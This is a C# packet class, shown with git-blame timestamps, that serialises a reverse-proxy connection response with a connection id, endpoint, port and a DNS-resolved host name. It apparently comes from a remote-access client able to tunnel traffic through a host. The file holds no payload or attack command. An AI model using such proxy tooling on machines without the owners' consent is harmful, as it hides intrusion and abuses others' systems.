2015-05-10 17:02:10 +00:00
|
|
|
|
using ProtoBuf;
|
2015-05-16 18:39:35 +00:00
|
|
|
|
using System;
|
2015-05-10 17:02:10 +00:00
|
|
|
|
using xClient.Core.Packets;
|
|
|
|
|
|
|
|
|
|
namespace xClient.Core.ReverseProxy.Packets
|
|
|
|
|
{
|
|
|
|
|
[ProtoContract]
|
|
|
|
|
public class ReverseProxyConnectResponse : IPacket
|
|
|
|
|
{
|
|
|
|
|
[ProtoMember(1)]
|
|
|
|
|
public int ConnectionId { get; set; }
|
|
|
|
|
|
|
|
|
|
[ProtoMember(2)]
|
|
|
|
|
public bool IsConnected { get; set; }
|
|
|
|
|
|
|
|
|
|
[ProtoMember(3)]
|
|
|
|
|
public long LocalEndPoint { get; set; }
|
|
|
|
|
|
|
|
|
|
[ProtoMember(4)]
|
|
|
|
|
public int LocalPort { get; set; }
|
|
|
|
|
|
2015-05-16 18:39:35 +00:00
|
|
|
|
[ProtoMember(5)]
|
|
|
|
|
public string HostName { get; set; }
|
|
|
|
|
|
2015-05-10 17:02:10 +00:00
|
|
|
|
public ReverseProxyConnectResponse()
|
|
|
|
|
{
|
|
|
|
|
}
|
|
|
|
|
|
2015-05-16 18:39:35 +00:00
|
|
|
|
public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort, string TargetServer)
|
2015-05-10 17:02:10 +00:00
|
|
|
|
{
|
|
|
|
|
this.ConnectionId = connectionId;
|
|
|
|
|
this.IsConnected = isConnected;
|
|
|
|
|
this.LocalEndPoint = localEndPoint;
|
|
|
|
|
this.LocalPort = localPort;
|
2015-05-16 18:39:35 +00:00
|
|
|
|
this.HostName = "";
|
|
|
|
|
|
|
|
|
|
if (isConnected)
|
|
|
|
|
{
|
|
|
|
|
try
|
|
|
|
|
{
|
|
|
|
|
//resolve the HostName of the Server
|
|
|
|
|
System.Net.IPHostEntry entry = System.Net.Dns.GetHostEntry(TargetServer);
|
|
|
|
|
if (entry != null && !String.IsNullOrEmpty(entry.HostName))
|
|
|
|
|
{
|
|
|
|
|
HostName = entry.HostName;
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
catch { HostName = ""; }
|
|
|
|
|
}
|
2015-05-10 17:02:10 +00:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
public void Execute(Client client)
|
|
|
|
|
{
|
|
|
|
|
client.Send<ReverseProxyConnectResponse>(this);
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|